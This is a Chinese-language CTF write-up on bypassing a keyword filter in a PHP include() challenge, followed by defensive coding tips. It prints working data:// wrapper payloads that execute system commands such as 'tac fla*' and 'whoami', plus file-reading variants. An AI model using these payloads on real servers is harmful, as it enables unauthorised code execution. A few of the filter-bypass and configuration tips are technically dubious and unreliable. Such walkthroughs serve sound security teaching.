1. 漏洞环境与代码分析
我们先来看这道CTF题目的核心代码:
php复制//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
这段代码的核心逻辑是:
- 接收GET参数
c - 检查参数中是否包含"flag"字符串(不区分大小写)
- 如果检查通过,则执行
include($c.".php")
关键点:这里的
.php后缀是自动拼接的,这意味着我们最终包含的文件名必须以.php结尾
2. 常见绕过思路与失败尝试
2.1 URL编码绕过
最初尝试使用URL编码:
code复制?c=%66%6C%61%67
为什么失败:
- PHP在接收GET参数时会自动进行URL解码
- 解码后仍然是"flag"字符串
- 被正则表达式
/flag/i匹配到
即使尝试双重编码:
code复制?c=%25%36%36%25%36%43%25%36%31%25%36%37
同样会被解码为"flag"
2.2 php://filter伪协议
尝试使用filter协议读取文件:
code复制?c=php://filter/read=convert.base64-encode/resource=flag
执行的实际代码:
php复制include("php://filter/read=convert.base64-encode/resource=flag.php");
问题分析:
- filter协议确实会读取flag.php并Base64编码
- 但include()会尝试执行这个Base64字符串
- Base64编码内容不是合法PHP代码,导致解析错误
这里的关键误解:include()是执行代码,不是显示内容。我们需要的是显示内容而非执行。
2.3 data://伪协议直接包含
尝试直接包含Base64编码的"flag":
code复制?c=data://text/plain;base64,ZmxhZw==
实际执行:
php复制include("data://text/plain;base64,flag");
为什么无效:
- Base64解码后是字符串"flag"
- 这个字符串不是可执行代码
- 没有实际的文件操作发生
3. 正确解法:利用data协议执行代码
3.1 最终有效payload
code复制data://text/plain,<?=system('tac fla*');?>
或Base64编码版本:
code复制?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==
3.2 原理详解
-
data协议特性:
- 允许直接在URL中包含数据
- 格式:
data://[mediatype][;base64],data
-
代码执行流程:
php复制include("data://text/plain,<?=system('tac fla*');?>.php");- 虽然拼接了
.php后缀,但data协议会忽略它 <?= ?>是PHP短标签,等同于<?php echo ?>system()执行系统命令tac命令反向显示文件内容(比cat更常用,因为某些CTF会过滤cat)fla*通配符匹配flag.php
- 虽然拼接了
-
为什么能绕过过滤:
- payload中不包含"flag"字符串
- 使用通配符
*匹配文件名 - data协议中的PHP代码会被执行而非包含
3.3 其他可行变种
-
使用file_get_contents:
code复制data://text/plain,<?=file_get_contents('fla'.'g.php');?> -
使用反引号执行命令:
code复制data://text/plain,<?=`tac fla*`;?> -
使用scandir列出目录:
code复制data://text/plain,<?=print_r(scandir('.'));?>
4. 防御措施与安全建议
4.1 安全编码建议
如果开发类似功能,应该:
-
白名单限制包含的文件:
php复制$allowed = ['page1', 'page2']; if(in_array($c, $allowed)){ include($c.".php"); } -
禁用危险协议:
php复制ini_set('allow_url_include', '0'); -
严格路径控制:
php复制include(__DIR__.'/pages/'.$c.'.php');
4.2 CTF中的常见过滤绕过技巧
-
大小写变异:
code复制?c=FlAg -
字符串拼接:
code复制?c=fla.g -
使用空字节(PHP<5.3):
code复制?c=fla%00 -
超长字符串截断:
code复制?c=fla.........................(超过PHP文件名限制)
5. 实操心得与注意事项
-
协议选择优先级:
- 先尝试php://filter读取源码
- 再尝试data://执行代码
- 最后考虑远程包含(需要allow_url_include开启)
-
命令执行技巧:
tac比cat更可能绕过过滤- 通配符
*可以避免直接写文件名 ''字符串拼接可以绕过关键词检测
-
常见错误排查:
- 确保服务器开启allow_url_include
- Base64编码时注意去掉末尾的
= - 短标签
<?=需要服务器配置支持
-
测试环境搭建建议:
php复制// 测试代码 $test = "data://text/plain,<?=system('whoami');?>"; include($test.".php");
重要提示:在实际渗透测试中,这类漏洞利用必须获得合法授权。未经授权的测试可能违反法律。